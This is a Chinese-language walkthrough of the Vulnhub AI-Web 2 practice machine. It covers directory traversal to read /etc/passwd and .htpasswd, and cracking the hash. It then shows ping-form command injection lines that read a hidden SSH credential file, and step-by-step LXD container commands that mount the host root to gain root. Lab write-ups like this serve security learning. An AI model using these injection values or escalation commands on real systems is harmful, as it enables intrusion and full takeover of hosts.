作者:手机用户2602891283 | 来源:互联网 | 2023-09-16 10:08
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
目录
前言
一、信息收集
二、漏洞利用(目录穿越、命令执行)
三、提权
总结
前言
提示:这里可以添加本文要记录的大概内容:
Vuluhub Web1靶机也做了,不妨把Web2也做了,总是能学到一些未知的东西。
提示:以下是本篇文章正文内容,下面案例可供参考
一、信息收集
安装好靶机后,一如既往的信息收集,先查看靶机的IP,然后端口情况等等。
靶机的IP地址为192.168.23.133、开放了80端口和22端口,系统是linux_kernel。22端口可以远程ssh登录,80端口用的apache,访问80端口看看。
是这么一个页面,还挺帅,可以进行登录和注册,直接注册并且登录进去瞧瞧。
好像是一个文件的分享目录 ,XuezhuLi好像是某个集成的框架,先爆破波目录看看,再看看框架有漏洞没。
扫出了webadmin和sign.php、download.php等多个路径,webadmin需要登录,像是后台。
有两个漏洞,一个是目录遍历漏洞,一个是CSRF漏洞,自己的靶机没有其它人,第一个没法用,只能用第二个,跟apache的目录遍历漏洞大同小异。
二、漏洞利用(目录穿越、命令执行)
遍历出/etc/passwd文件,发现有aiweb2和n0nr00tuser用户,密码未知,爆破有点难。所以好像没啥用,不过80端口用的是apache,可以遍历apache的默认配置文件试试,linux的apache默认存放在/etc/apache2/里面,或许可以找下能够登录后台webadmin的文件,一般Serveradmin会在etc/apache2/sites-enabled/000-default.conf里面有,遍历出来看看。
能够看到服务器的根路径为/var/www/html,没有直接显示admin的账号密码,但是显示了认证文件的路径 /etc/apache2/.htpasswd,继续查看。
里面存放了用户名和经过hash加密的密码,可以尝试下爆破密码,因为靶机描述提示了要用到的字典 ,把字典下载下来,直接john爆破得到了后台的账号密码,
https://github.com/danielmiessler/SecLists/blame/master/Passwords/Leaked-Databases/rockyou-45.txt
知道了后台的账号密码,登录看看。
这里提示有robots.txt文件。
提示有两个目录,/H05Tpin9555/,/S0mextras/,分别访问两个目录,/H05Tpin9555/是一个ping命令的执行,/S0mextras/有提示信息说,想要的东西在/S0mextras/这个目录中。这种ping命令在CTF中常见,可以通过&,|有可能一同被命令执行,从而导致了其它信息泄露。
既然提示想要的东西在/S0mextras/目录中,可以试试查找这个目录中的文件。
127.0.0.1|find /var/www/html/webadmin/S0mextras/ -type f -name '*.txt'
发现了sshUser的文件。
127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt抓取文件中的内容,有用户名和密码,进行ssh登录看看,登录成功。
三、提权
登录到靶机后,肯定要进行提权,最好提升到root权限,查看有没有SUID的文件可利用。
find / -user root -perm -4000 -exec ls -l {} \;
web1是通过能编辑/etc/passwd用户进行提权,这次不行了,但是SUID权限的文件多了几个,特别是这个/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic,可以进行LXD提权,是个新知识。
关于lxc和lxd:
LXC全名Linux Container,就是一种虚拟化的容器技术,可以创建和操作系统接近的环境,但又不需要单独用到内核资源。
LXD全程Linux Daemon,容器管理程序,基于LXC容器技术实现,简单来说就是完成容器管理工作。
关于 lxd提权:当前用户具有lxd权限时(通过id命令可以查看),可以通过创建任意镜像,并将当前系统根目录挂载到镜像mnt目录下,然后通过chroot命令即可获取当前系统的root权限。
可以看到当前用户确实有lxd权限,直接搜提权的文件。
或者通过kali的searchsploit直接搜索也能搜索到,并且该提权的sh文件,在/usr/share/exploitdb/exploits/linux/local/46978.sh中,单有这个文件还不行,还要创建一个容器,并导入到lxd中,资料都显示使用alpine镜像。
https://github.com/saghul/lxd-alpine-builder/https://github.com/saghul/lxd-alpine-builder/https://github.com/saghul/lxd-alpine-builder/下载好镜像后和46978.sh一同传入到靶机中,赋予权限,运行即可权限提升
但是好像不一定lxd权限提升不一定要使用alpine镜像也可以,可以使用任意容器,一般方式为:
lxc init ubuntu: ignite -c security.privileged=true 初始化Ubuntu镜像
lxc config device add ignite mydevice disk source=/ path=/mnt/root 将根目录挂载lxc start ignite 启动容器
lxc exec ignite /bin/sh 进入容器的shell
chroot /mnt/root 提升权限
那么此靶机应该也可以通过将/etc目录挂载到/mnt/root目录下,然后通过openssl生成一个root用户的密码,将自定义root密码的passwd文件上传到容器中,从而进行root的登录。但是靶机自定义镜像真的太慢了。。没法试,但是还是不用网上46978.sh带的脚本,用了alpine镜像实现成功。
lxc image import ./apline-v3.13-x86_64-20210218_0139.tar.gz --alias myimage 将镜像添加进lxd中
lxc image list 查看镜像列表
lxc init alpine ignite -c security.privileged=true 应该是初始化容器并设置特权吧
lxc config device add ignite mydevice disk source=/ path=/mnt/root 将根目录挂载到/mnt/root目录
lxc start ignite 启动容器
lxc exec ignite /bin/sh 进入shell
chroot /mnt/root 提升权限
如果
lxc config device add ignite mydevice disk source=/etc path=/mnt/root 将根目录挂载
可以试试自定义passwd,将passwd文件推入容器中
lxc file push passwd mnt/root/passwd
总结
1、目录遍历漏洞
2、 命令执行漏洞
3、lxc提权漏洞